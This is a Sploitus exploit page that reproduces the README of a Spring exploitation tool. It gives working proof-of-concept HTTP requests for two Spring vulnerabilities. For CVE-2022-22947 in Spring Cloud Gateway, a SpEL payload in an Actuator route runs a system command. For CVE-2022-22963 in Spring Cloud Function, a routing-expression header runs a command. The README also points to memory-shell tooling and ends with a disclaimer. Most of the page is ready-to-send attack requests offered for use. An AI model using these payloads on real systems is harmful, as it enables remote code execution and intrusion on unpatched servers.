Sploitus

Exploit for Code Injection in Vmware Spring Cloud Gateway

CVE-2022-22947CVE-2022-22963

githubexploit · 2022-10-29

Exploit Code

README127 lines
## https://sploitus.com/exploit?id=FCB41C86-C31E-58AE-9055-459DC713CABD
**Spring_All_Reachable**  
A graphical tool for rapid exploitation of Spring vulnerability frameworks.  

# đź“ť TODO  
* Spring Core RCE  
* Support for more types of memory exploits  
* Support for modifying memory exploit passwords  

........ # :clapper: Usage instructions  

### Spring Cloud Gateway command execution (CVE-2022-22947)  

#### Vulnerability description  
Spring Cloud Gateway has a remote code execution vulnerability. This vulnerability occurs at the Actuator endpoints of the Spring Cloud Gateway application. It is vulnerable to code injection attacks when enabled, exposed, or insecure. An attacker can exploit this vulnerability to execute arbitrary remote requests on a remote host.  

#### Affected versions  
VMWare Spring Cloud Gateway 3.1.0  
VMWare Spring Cloud Gateway >=3.0.0, <=3.0.6  
VMWare Spring Cloud Gateway <3.0.0  

#### Vulnerability proof-of-concept (POC)  
```  
POST /actuator/gateway/routes/hacktest HTTP/1.1  
Host: localhost:8080  
Accept-Encoding: gzip, deflate  
Accept: */*  
Accept-Language: en  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36  
Connection: close  
Content-Type: application/json  
Content-Length: 328  

{
  "id": "hacktest",  
  "filters": [  
    {
      "name": "AddResponseHeader",  
      "args": {  
        "name": "Result",  
        "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"})))"  
      }  
    }  
  ],  
  "uri": "http://example.com",  
  "order": 0  
}  
```  

```  
POST /actuator/gateway/refresh HTTP/1.1  
Host: localhost:8080  
Accept-Encoding: gzip, deflate  
Accept: */*  
Accept-Language: en  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36  
Connection: close  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 0  
```  

```  
GET /actuator/gateway/routes/hacktest HTTP/1.1  
Host: localhost:8080  
Accept-Encoding: gzip, deflate  
Accept: */*  
Accept-Language: en  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36  
Connection: close  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 0  
```  

```  
DELETE /actuator/gateway/routes/hacktest HTTP/1.1  
Host: localhost:8080  
Accept-Encoding: gzip, deflate  
Accept: */*  
Accept-Language: en

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36  
Connection: close  

  
POST /actuator/gateway/refresh HTTP/1.1  
Host: localhost:8080  
Accept-Encoding: gzip, deflate  
Accept: */*  
Accept-Language: en  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36  
Connection: close  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 0  
  
#### Tool Usage  
![image-20230601131042060](./assets/image-20230601131042060.png)  
![image-20230601131127171](./assets/image-20230601131127171.png)  
![image-20230601134110151](./assets/image-20230601134110151.png)  
  
### Spring Cloud Function SpEL Remote Code Execution (CVE-2022-22963)  
#### Vulnerability Description  
Spring Cloud Function is a serverless framework within Spring Cloud. The `apply` method of the `RoutingFunction` class processes the “spring.cloud.function.routing-expression” parameter in the request headers as a SpEL expression, resulting in a SpEL expression injection vulnerability. Attackers can exploit this vulnerability to execute arbitrary code.  
#### Affected Versions  
org.springframework.cloud:spring-cloud-function-context (Affected versions: 3.0.0.RELEASE~3.2.2)  
  
#### Vulnerability PoC  
POST /functionRouter HTTP/1.1  
Host: localhost:8080  
Accept-Encoding: gzip, deflate  
Accept: */*  
Accept-Language: en  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36  
Connection: close  
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")  
Content-Type: text/plain  
Content-Length: 4  
  
#### Tool Usage  
![image-20230601130120697](./assets/image-20230601130120697.png)  
![image-20230601130234458](./assets/image-20230601130234458.png)  
  
# :book: Reference Projects  
[https://starchart.cc/0x727/SpringBootExploit](https://github.com/0x727/SpringBootExploit)  
[https://github.com/whwlsfb/cve-2022-22947-godzilla-memshell](https://github.com/whwlsfb/cve-2022-22947-godzilla-memshell)  
  
# :b: Disclaimer  
This tool is used solely for network security research and discussion purposes. Users must use it reasonably in accordance with network security laws. If users engage in illegal attacks or other unlawful activities using this tool, it is not related to this author! ![as](https://starchart.cc/savior-only/Spring_All_Reachable.svg)